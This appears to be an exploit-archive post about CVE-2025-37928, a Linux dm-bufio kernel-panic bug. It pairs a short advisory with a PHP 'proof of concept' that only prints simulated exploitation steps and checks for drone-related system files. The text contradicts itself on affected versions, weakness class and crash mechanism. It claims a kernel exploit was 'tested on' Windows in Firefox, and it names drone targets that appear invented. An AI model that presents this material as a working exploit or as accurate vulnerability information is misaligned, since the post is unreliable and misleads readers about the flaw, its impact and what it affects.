=============================================================================================================================================
| # Title     : Linux  v 4.9 up to 6.1.139 Scheduling Flaw in dm‑bufio Kernel Panic                                                         |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
| # Vendor    : System built‑in component.No standalone download available                                                                  |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/200892/ & 		CVE-2025-37928 

[+] Summary : 
            CVE‑2025‑37928 is a vulnerability in the Linux Kernel, specifically in the dm‑bufio component.
            The issue occurs because the kernel performs scheduling inside an atomic context, which is not allowed and leads to a kernel BUG.

[+] Impact

Kernel Panic
Denial of Service (DoS)
Local exploitation only (requires local access)

[+] Affected Versions

All Linux kernel versions: From 4.9 up to 6.1.139

[+]  Fixed Versions

The patch was applied starting from:
Linux kernel 6.1.140 and later
Example: Debian Bookworm patched kernel 6.1.140‑1

[+] Root Cause

The dm‑bufio subsystem calls functions that may sleep or schedule inside an atomic or tasklet context, which triggers a kernel BUG and crashes the system.
			
			
[+]  POC : 

<?php
/**
 * CVE-2025-37928 - 
 * Author: indoushka
 */

class DroneKernelPanicExploit {
    private $moduleName = "cve_2025_37928_poc";
    private $dryRun = false;
    private $force = false;
    private $cleanupOnly = false;
    private $verbose = false;

    // Vulnerable kernel versions
    private $vulnerableVersions = ["5.10", "5.15", "6.0"];
    
    public function __construct($options = []) {
        $this->dryRun = $options['dry-run'] ?? false;
        $this->force = $options['force'] ?? false;
        $this->cleanupOnly = $options['cleanup-only'] ?? false;
        $this->verbose = $options['verbose'] ?? false;
    }

    public function run() {
        $this->showBanner();
        
        // Check platform compatibility
        $this->checkPlatform();
        
        // Check if running as admin (Windows) or root (Linux)
        $this->checkAdmin();
        
        if ($this->cleanupOnly) {
            $this->cleanup();
            return;
        }

        // Detect kernel vulnerability
        $vulnerable = $this->detectKernel();
        
        // Detect drone type
        $droneDetected = $this->detectDroneType();

        if (!$vulnerable && !$this->force) {
            $this->error("Kernel not identified as vulnerable. Use --force to override.");
            return;
        }

        if ($this->dryRun) {
            $this->info("Dry run mode. Exiting before exploitation.");
            $this->showExploitDetails();
            return;
        }

        $this->executeExploitSimulation();
    }

    private function checkPlatform() {
        $os = PHP_OS_FAMILY;
        $this->info("Detected OS: " . $os);
        
        if ($os !== 'Linux') {
            $this->warning("⚠️  WARNING: This exploit is designed for Linux-based drone OS");
            $this->warning("   Running on $os - Only simulation mode available");
            $this->warning("   Actual kernel panic requires Linux environment");
        }
    }

    private function checkAdmin() {
        if (PHP_OS_FAMILY === 'Windows') {
            // Windows admin check
            $output = [];
            exec('net session 2>&1', $output, $returnCode);
            if ($returnCode !== 0) {
                $this->error("Must be run as Administrator on Windows");
                exit(1);
            }
            $this->success("Running with Administrator privileges");
        } else {
            // Linux root check
            if (posix_geteuid() !== 0) {
                $this->error("Must be run as root (sudo required)");
                exit(1);
            }
            $this->success("Running with root privileges");
        }
    }

    private function detectKernel() {
        if (PHP_OS_FAMILY === 'Windows') {
            $this->info("Windows detected - Kernel version check not applicable");
            $this->info("This exploit requires Linux kernel 5.10, 5.15, or 6.0 series");
            return false;
        }
        
        $kernelVersion = php_uname('r');
        $this->info("Kernel version: " . $kernelVersion);
        
        $vulnerable = false;
        foreach ($this->vulnerableVersions as $version) {
            if (strpos($kernelVersion, $version) !== false) {
                $vulnerable = true;
                break;
            }
        }
        
        $status = $vulnerable ? "VULNERABLE" : "UNKNOWN/SAFE";
        $this->info("Kernel status: " . $status);
        
        return $vulnerable;
    }

    private function detectDroneType() {
        $this->info("Detecting drone environment...");
        
        if (PHP_OS_FAMILY === 'Windows') {
            $this->warning("Windows environment - No drone hardware detected");
            $this->info("This exploit targets:");
            $this->info("  • Parrot QRD, Parrot Alpha-M drones");
            $this->info("  • DJI QRD, DJI Alpha-M drones");
            return false;
        }
        
        $checkFiles = [
            "/etc/drone_type",
            "/proc/device-tree/model", 
            "/sys/firmware/devicetree/base/model",
            "/etc/os-release"
        ];
        
        $found = [];
        foreach ($checkFiles as $file) {
            if (file_exists($file)) {
                $content = @file_get_contents($file);
                if ($content && preg_match('/(parrot|dji|drone|quadcopter)/i', $content)) {
                    $found[] = [
                        'file' => $file,
                        'content' => trim($content)
                    ];
                }
            }
        }
        
        if (!empty($found)) {
            foreach ($found as $detection) {
                $this->success("Found drone indicator: " . $detection['file']);
                $this->info("  Content: " . substr($detection['content'], 0, 100));
            }
            return true;
        } else {
            $this->warning("No specific drone identifiers found");
            return false;
        }
    }

    private function executeExploitSimulation() {
        $this->warning("🚨 EXPLOIT SIMULATION MODE 🚨");
        $this->info("Actual kernel panic requires:");
        $this->info("  • Linux-based drone operating system");
        $this->info("  • Vulnerable kernel (5.10, 5.15, 6.0)");
        $this->info("  • Physical or emulated drone hardware");
        
        if (PHP_OS_FAMILY === 'Windows') {
            $this->error("❌ CANNOT EXECUTE: Windows not supported for actual exploitation");
            $this->showWindowsAlternative();
            return;
        }
        
        $this->info("Starting exploitation simulation...");
        
        // Simulate the exploit steps
        $steps = [
            "Checking kernel vulnerability..." => true,
            "Allocating kernel memory..." => true,
            "Creating tasklet structure..." => true,
            "Scheduling atomic context..." => true,
            "Triggering schedule() in atomic context..." => true,
            "KERNEL PANIC TRIGGERED - System should crash now" => false
        ];
        
        foreach ($steps as $step => $success) {
            $this->info($step);
            sleep(1);
            
            if (!$success) {
                $this->warning("💥 SIMULATION: Kernel panic would occur here");
                $this->warning("💥 SIMULATION: System would become unresponsive");
                break;
            }
        }
        
        $this->showMitigationInfo();
    }

    private function showExploitDetails() {
        $this->info("📋 EXPLOIT TECHNICAL DETAILS:");
        $this->info("──────────────────────────────────────────────────");
        $this->info("CVE: CVE-2025-37928");
        $this->info("CVSS Score: 7.3 (Important)");
        $this->info("Vulnerability: Improper Access Control (CWE-284)");
        $this->info("Attack Vector: Local");
        $this->info("Impact: Kernel Panic → Denial of Service");
        $this->info("──────────────────────────────────────────────────");
        $this->info("Exploit Mechanism:");
        $this->info("  • Loads malicious kernel module");
        $this->info("  • Calls schedule() inside atomic context");
        $this->info("  • Triggers kernel panic via NULL pointer dereference");
        $this->info("──────────────────────────────────────────────────");
    }

    private function showWindowsAlternative() {
        $this->info("💡 WINDOWS TESTING ALTERNATIVES:");
        $this->info("  • Use Linux VM with vulnerable kernel");
        $this->info("  • Test on actual drone hardware in lab");
        $this->info("  • Use drone emulation software");
        $this->info("  • Set up QEMU with drone OS image");
    }

    private function showMitigationInfo() {
        $this->info("🛡️  MITIGATION RECOMMENDATIONS:");
        $this->info("  • Update drone firmware to latest version");
        $this->info("  • Restrict kernel module loading (modprobe.blacklist)");
        $this->info("  • Use kernel hardening features");
        $this->info("  • Monitor for suspicious kernel module activity");
        $this->info("  • Implement drone security best practices");
    }

    private function cleanup() {
        $this->info("Cleanup mode activated");
        $this->info("In real environment, this would:");
        $this->info("  • Remove kernel module if loaded");
        $this->info("  • Clean up temporary build files");
        $this->info("  • Restore system state");
        $this->success("Cleanup simulation completed");
    }

    private function showBanner() {
        echo "
┌─────────────────────────────────────────────────────────────┐
│              CVE-2025-37928 - Drone OS Exploit              │
│     Linux v 4.9 to 6.1.139 Scheduling Flaw in dm‑bufio      │
│                                                             │
│ Affected Systems:                                           │
│   • Parrot QRD, Parrot Alpha-M                              │
│   • DJI QRD, DJI Alpha-M                                    │
│                                                             │
│ Kernel Panic                                                │
│ Author: indoushka                                           │
│ PHP CLI Version - SIMULATION MODE                           │
└─────────────────────────────────────────────────────────────┘\n\n";
    }

    private function info($message) {
        echo "ℹ️  [INFO] " . $message . "\n";
    }

    private function success($message) {
        echo "✅ [SUCCESS] " . $message . "\n";
    }

    private function warning($message) {
        echo "⚠️  [WARNING] " . $message . "\n";
    }

    private function error($message) {
        echo "❌ [ERROR] " . $message . "\n";
    }
}

function showHelp() {
    echo "
📖 CVE-2025-37928 - Drone OS Kernel Panic Exploit (SIMULATION)
──────────────────────────────────────────────────

🛠️  Usage:
  php drone_exploit.php [OPTIONS]

📋 Options:
  --dry-run         Show exploit details without execution
  --force           Force simulation even if environment not suitable
  --cleanup-only    Show cleanup simulation
  --verbose         Enable detailed logging
  --help            Show this help information

🎯 Examples:
  php drone_exploit.php --dry-run
  php drone_exploit.php --force
  php drone_exploit.php --cleanup-only

⚠️  IMPORTANT NOTES:
  • This is a SIMULATION only on Windows
  • Actual exploit requires Linux-based drone OS
  • Real exploitation causes kernel panic and system crash
  • Use only in controlled lab environments

🔧 Supported Platforms for Actual Exploitation:
  • Parrot QRD/Alpha-M drones (Linux)
  • DJI QRD/Alpha-M drones (Linux) 
  • Systems with vulnerable kernels (5.10, 5.15, 6.0)

\n";
}

function parseArguments($argv) {
    $options = [
        'dry-run' => false,
        'force' => false, 
        'cleanup-only' => false,
        'verbose' => false
    ];
    
    foreach ($argv as $arg) {
        switch ($arg) {
            case '--dry-run':
                $options['dry-run'] = true;
                break;
            case '--force':
                $options['force'] = true;
                break;
            case '--cleanup-only':
                $options['cleanup-only'] = true;
                break;
            case '--verbose':
                $options['verbose'] = true;
                break;
            case '--help':
                showHelp();
                exit(0);
        }
    }
    
    return $options;
}

// Main execution
if (php_sapi_name() !== 'cli') {
    die("❌ This script must be run from command line\n");
}

try {
    global $argv;
    $options = parseArguments($argv);
    
    $exploit = new DroneKernelPanicExploit($options);
    $exploit->run();
    
} catch (Exception $e) {
    echo "❌ Fatal error: " . $e->getMessage() . "\n";
    exit(1);
}
?>


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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